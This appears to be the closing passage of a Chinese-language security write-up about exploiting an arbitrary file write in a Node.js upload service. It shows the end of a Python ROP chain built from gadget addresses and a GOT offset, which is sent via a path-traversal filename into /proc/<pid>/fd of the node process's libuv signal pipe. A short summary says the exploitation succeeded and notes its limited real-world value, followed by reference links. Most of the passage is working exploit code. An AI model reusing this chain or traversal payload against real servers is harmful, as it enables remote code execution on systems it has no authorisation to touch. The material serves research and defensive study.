p64(bss_addr) content += p64(pop_rax_rcx_ret) + p64(__assert_fail_got) + p64(0x17620 ) content += p64(mov_rax_rax_ret) content += p64(add_rax_rcx_ret) content += p64(xor_r14b_ret) content += p64(jmp_rax) a = content.decode('utf-8' ) print (f"content: {content} " )data = {'filename' :"../../../../proc/82/fd/11" ,"content" :content.decode('utf-8' )} resp = requests.post("http://172.17.0.2:3000/upload" ,data = json.dumps(data),headers = {"Content-Type" :"application/json" })
执行成功
总结
nodejs官方不认为这个是漏洞,所以这个将不会被修复
利用条件需要知道pidof node
并且需要知道管道id
总体实战利用价值不高
参考链接 https://github.com/libuv/libuv/blob/fbe2d85bd5a5c370a8cacea92b3bdfbd9f98a530/src/unix/signal.c#L433
https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/
https://bestwing.me/Exploiting%20File%20Writes%20in%20Hardened%20Environments.html
https://www.youtube.com/watch?v=8FFsORk8snE